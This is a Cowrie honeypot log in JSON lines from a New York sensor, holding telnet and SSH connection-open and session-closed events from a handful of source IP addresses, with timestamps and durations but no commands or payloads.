{"eventid":"cowrie.session.closed","duration":30.965517282485962,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:34.178254Z","src_ip":"51.15.157.40","session":"74cf2b5ed2b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":44920,"dst_ip":"159.203.135.109","dst_port":23,"session":"97d275fe71a4","protocol":"telnet","message":"New connection: 104.236.196.85:44920 (159.203.135.109:23) [session: 97d275fe71a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:34.192902Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:34.294152Z","src_ip":"221.139.88.149","session":"4da0c632f1ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":34824,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c0c71db2057","protocol":"telnet","message":"New connection: 157.15.20.138:34824 (159.203.135.109:23) [session: 9c0c71db2057]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:34.307059Z"}
{"eventid":"cowrie.session.closed","duration":30.67602300643921,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:34.391530Z","src_ip":"51.15.157.40","session":"0e893130f15d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":34838,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b3424cf6e30","protocol":"telnet","message":"New connection: 157.15.20.138:34838 (159.203.135.109:23) [session: 9b3424cf6e30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:34.476020Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":57740,"dst_ip":"159.203.135.109","dst_port":23,"session":"96226e2faf01","protocol":"telnet","message":"New connection: 51.15.157.40:57740 (159.203.135.109:23) [session: 96226e2faf01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:34.612734Z"}
{"eventid":"cowrie.session.closed","duration":31.256595849990845,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:34.664350Z","src_ip":"51.15.157.40","session":"c214e2be4a6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16174864768982,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:34.718290Z","src_ip":"51.15.157.40","session":"cee549c6da27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.983679056167603,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:34.898859Z","src_ip":"157.15.20.138","session":"17630655ec44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85256576538086,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:34.914832Z","src_ip":"89.39.83.70","session":"9f60baa22c3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.930909156799316,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:34.937314Z","src_ip":"51.15.157.40","session":"11888f8a9d31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":44936,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3210f9eba51","protocol":"telnet","message":"New connection: 104.236.196.85:44936 (159.203.135.109:23) [session: a3210f9eba51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:35.105021Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":44938,"dst_ip":"159.203.135.109","dst_port":23,"session":"c032c9625d9b","protocol":"telnet","message":"New connection: 104.236.196.85:44938 (159.203.135.109:23) [session: c032c9625d9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:35.111487Z"}
{"eventid":"cowrie.session.closed","duration":31.071911334991455,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:35.119678Z","src_ip":"51.15.157.40","session":"ac4c8a3a1bd0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.267101526260376,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:35.124598Z","src_ip":"51.15.157.40","session":"42161931cd47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.756535291671753,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:35.153986Z","src_ip":"51.15.157.40","session":"6848d6acb08b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.33036708831787,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:35.159690Z","src_ip":"51.15.157.40","session":"71bc820de1f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":44952,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa41b0cf7418","protocol":"telnet","message":"New connection: 104.236.196.85:44952 (159.203.135.109:23) [session: fa41b0cf7418]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:35.173648Z"}
{"eventid":"cowrie.session.closed","duration":31.039498329162598,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:35.223533Z","src_ip":"51.15.157.40","session":"a2ab5071806b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":35536,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd324e3c663d","protocol":"telnet","message":"New connection: 103.171.45.122:35536 (159.203.135.109:23) [session: cd324e3c663d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:35.467030Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":34846,"dst_ip":"159.203.135.109","dst_port":23,"session":"c879c9f65437","protocol":"telnet","message":"New connection: 157.15.20.138:34846 (159.203.135.109:23) [session: c879c9f65437]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:35.642944Z"}
{"eventid":"cowrie.session.closed","duration":30.841055870056152,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:35.660884Z","src_ip":"51.15.157.40","session":"84951b6a7228","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":34862,"dst_ip":"159.203.135.109","dst_port":23,"session":"c356f221c8a0","protocol":"telnet","message":"New connection: 157.15.20.138:34862 (159.203.135.109:23) [session: c356f221c8a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:35.781497Z"}
{"eventid":"cowrie.session.closed","duration":31.164132356643677,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:35.838459Z","src_ip":"51.15.157.40","session":"c706df427736","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":44956,"dst_ip":"159.203.135.109","dst_port":23,"session":"74240ee2ef0e","protocol":"telnet","message":"New connection: 104.236.196.85:44956 (159.203.135.109:23) [session: 74240ee2ef0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:36.083780Z"}
{"eventid":"cowrie.session.closed","duration":30.52597427368164,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:36.143234Z","src_ip":"51.15.157.40","session":"e12434cae2cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.427501440048218,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:36.266872Z","src_ip":"104.236.196.85","session":"5e89bff865bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.317129373550415,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:36.317221Z","src_ip":"51.15.157.40","session":"7fddc3ac8fa2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.129552602767944,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:36.425409Z","src_ip":"51.15.157.40","session":"b4d8b8a245dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":35452,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d18ef58fd38","protocol":"telnet","message":"New connection: 51.15.157.40:35452 (159.203.135.109:23) [session: 4d18ef58fd38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:36.615261Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":60198,"dst_ip":"159.203.135.109","dst_port":23,"session":"b07eebf4abaa","protocol":"telnet","message":"New connection: 157.15.20.138:60198 (159.203.135.109:23) [session: b07eebf4abaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:36.680072Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":57094,"dst_ip":"159.203.135.109","dst_port":23,"session":"5444280428b4","protocol":"telnet","message":"New connection: 34.69.118.1:57094 (159.203.135.109:23) [session: 5444280428b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:36.841360Z"}
{"eventid":"cowrie.session.closed","duration":30.884052515029907,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:37.136558Z","src_ip":"157.15.20.138","session":"1e204e973fc0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00498533248901,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:37.142506Z","src_ip":"109.224.242.7","session":"081609238e24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99260926246643,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:37.175657Z","src_ip":"157.15.20.138","session":"71d5184d4aa3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.711687803268433,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:37.264205Z","src_ip":"51.15.157.40","session":"aba8f854a74f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.165573120117188,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:37.311934Z","src_ip":"103.171.45.122","session":"1312669d28ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.322290897369385,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:37.343285Z","src_ip":"51.15.157.40","session":"5625eaab9968","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":37602,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2145adb27a4","protocol":"telnet","message":"New connection: 51.15.157.40:37602 (159.203.135.109:23) [session: d2145adb27a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:37.360669Z"}
{"eventid":"cowrie.session.closed","duration":31.564965963363647,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:37.557343Z","src_ip":"51.15.157.40","session":"fad30864d316","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.787811756134033,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:37.648310Z","src_ip":"157.15.20.138","session":"35611f610b9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":53986,"dst_ip":"159.203.135.109","dst_port":23,"session":"5aad44c1ba34","protocol":"telnet","message":"New connection: 34.69.118.1:53986 (159.203.135.109:23) [session: 5aad44c1ba34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:37.812395Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":60224,"dst_ip":"159.203.135.109","dst_port":23,"session":"e04887cc8e13","protocol":"telnet","message":"New connection: 157.15.20.138:60224 (159.203.135.109:23) [session: e04887cc8e13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:38.016362Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":60208,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd4833c35c4e","protocol":"telnet","message":"New connection: 157.15.20.138:60208 (159.203.135.109:23) [session: fd4833c35c4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:38.278293Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":41588,"dst_ip":"159.203.135.109","dst_port":23,"session":"4eb98a5c08ed","protocol":"telnet","message":"New connection: 51.15.157.40:41588 (159.203.135.109:23) [session: 4eb98a5c08ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:38.426517Z"}
{"eventid":"cowrie.session.closed","duration":31.31092119216919,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:38.763555Z","src_ip":"51.15.157.40","session":"92587ac0dc62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.224.242.7","src_port":42094,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a1739288047","protocol":"telnet","message":"New connection: 109.224.242.7:42094 (10.17.0.5:23) [session: 9a1739288047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:39.264697Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.39.83.70","src_port":57158,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f0960928447","protocol":"telnet","message":"New connection: 89.39.83.70:57158 (159.203.135.109:23) [session: 5f0960928447]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:39.315411Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":44764,"dst_ip":"159.203.135.109","dst_port":23,"session":"c62dcb20678f","protocol":"telnet","message":"New connection: 51.15.157.40:44764 (159.203.135.109:23) [session: c62dcb20678f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:39.380565Z"}
{"eventid":"cowrie.session.closed","duration":31.545207023620605,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:39.732759Z","src_ip":"157.15.20.138","session":"edef5cd5a0e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":46840,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e5dda655441","protocol":"telnet","message":"New connection: 51.15.157.40:46840 (159.203.135.109:23) [session: 0e5dda655441]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:39.962806Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":47310,"dst_ip":"159.203.135.109","dst_port":23,"session":"43b51354b05b","protocol":"telnet","message":"New connection: 51.15.157.40:47310 (159.203.135.109:23) [session: 43b51354b05b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:40.123663Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":53988,"dst_ip":"159.203.135.109","dst_port":23,"session":"f56561bb0ac5","protocol":"telnet","message":"New connection: 34.69.118.1:53988 (159.203.135.109:23) [session: f56561bb0ac5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:40.128088Z"}
{"eventid":"cowrie.session.closed","duration":30.595314025878906,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:40.276199Z","src_ip":"103.171.45.122","session":"f5209f22e1e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":47898,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d9caea894f3","protocol":"telnet","message":"New connection: 51.15.157.40:47898 (159.203.135.109:23) [session: 7d9caea894f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:40.333298Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":48896,"dst_ip":"159.203.135.109","dst_port":23,"session":"be5b4f944865","protocol":"telnet","message":"New connection: 51.15.157.40:48896 (159.203.135.109:23) [session: be5b4f944865]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:40.585701Z"}
{"eventid":"cowrie.session.closed","duration":31.286299467086792,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:40.892376Z","src_ip":"51.15.157.40","session":"960a13498fb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.866564989089966,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:41.124271Z","src_ip":"51.15.157.40","session":"cf123c57c918","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.119169235229492,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:41.133759Z","src_ip":"157.15.20.138","session":"6d31c3331b7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.53679609298706,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:41.191562Z","src_ip":"157.15.20.138","session":"69aa26c244a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.29818606376648,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:41.202177Z","src_ip":"51.15.157.40","session":"6adf67805380","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":47660,"dst_ip":"159.203.135.109","dst_port":23,"session":"6391805478f9","protocol":"telnet","message":"New connection: 51.15.157.40:47660 (159.203.135.109:23) [session: 6391805478f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:41.264759Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":51012,"dst_ip":"159.203.135.109","dst_port":23,"session":"897c4af1113b","protocol":"telnet","message":"New connection: 51.15.157.40:51012 (159.203.135.109:23) [session: 897c4af1113b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:41.295129Z"}
{"eventid":"cowrie.session.closed","duration":31.024780750274658,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:41.760759Z","src_ip":"51.15.157.40","session":"0fbe23b7cd4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.543888807296753,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:41.867385Z","src_ip":"51.15.157.40","session":"2cb50110226e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":53350,"dst_ip":"159.203.135.109","dst_port":23,"session":"199e49f8b0e4","protocol":"telnet","message":"New connection: 51.15.157.40:53350 (159.203.135.109:23) [session: 199e49f8b0e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:41.882436Z"}
{"eventid":"cowrie.session.closed","duration":30.931143522262573,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:42.216500Z","src_ip":"104.236.196.85","session":"e30d85264e3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.57492756843567,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:42.287661Z","src_ip":"51.15.157.40","session":"c9b796f0f210","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":46992,"dst_ip":"159.203.135.109","dst_port":23,"session":"03054d7cb3c7","protocol":"telnet","message":"New connection: 62.171.133.168:46992 (159.203.135.109:23) [session: 03054d7cb3c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:42.353794Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":60230,"dst_ip":"159.203.135.109","dst_port":23,"session":"df26a96303f8","protocol":"telnet","message":"New connection: 157.15.20.138:60230 (159.203.135.109:23) [session: df26a96303f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:42.360277Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.39.83.70","src_port":60880,"dst_ip":"159.203.135.109","dst_port":23,"session":"0de2d34995c4","protocol":"telnet","message":"New connection: 89.39.83.70:60880 (159.203.135.109:23) [session: 0de2d34995c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:42.388823Z"}
{"eventid":"cowrie.session.closed","duration":31.117071866989136,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:42.398276Z","src_ip":"51.15.157.40","session":"9efbb4e4fb31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10695767402649,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:42.513498Z","src_ip":"51.15.157.40","session":"8eb4e785ad43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":60232,"dst_ip":"159.203.135.109","dst_port":23,"session":"08623a5a0fbd","protocol":"telnet","message":"New connection: 157.15.20.138:60232 (159.203.135.109:23) [session: 08623a5a0fbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:42.673933Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.205.10.190","src_port":1352,"dst_ip":"10.17.0.5","dst_port":23,"session":"64ba8b036baf","protocol":"telnet","message":"New connection: 94.205.10.190:1352 (10.17.0.5:23) [session: 64ba8b036baf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:42.769357Z"}
{"eventid":"cowrie.session.closed","duration":31.465665340423584,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:42.831325Z","src_ip":"51.15.157.40","session":"d8d4d145d89a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16289234161377,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:42.836548Z","src_ip":"157.15.20.138","session":"8f830f5024c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":60240,"dst_ip":"159.203.135.109","dst_port":23,"session":"f47e2335977d","protocol":"telnet","message":"New connection: 157.15.20.138:60240 (159.203.135.109:23) [session: f47e2335977d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:42.868542Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":56722,"dst_ip":"159.203.135.109","dst_port":23,"session":"21afdf1d3438","protocol":"telnet","message":"New connection: 51.15.157.40:56722 (159.203.135.109:23) [session: 21afdf1d3438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:42.878238Z"}
{"eventid":"cowrie.session.closed","duration":31.30345916748047,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:42.926522Z","src_ip":"51.15.157.40","session":"4b498592acd8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7666916847229,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:43.201888Z","src_ip":"51.15.157.40","session":"ef4342d554cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9688081741333,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:43.229075Z","src_ip":"157.15.20.138","session":"7128614b1236","protocol":"telnet"}
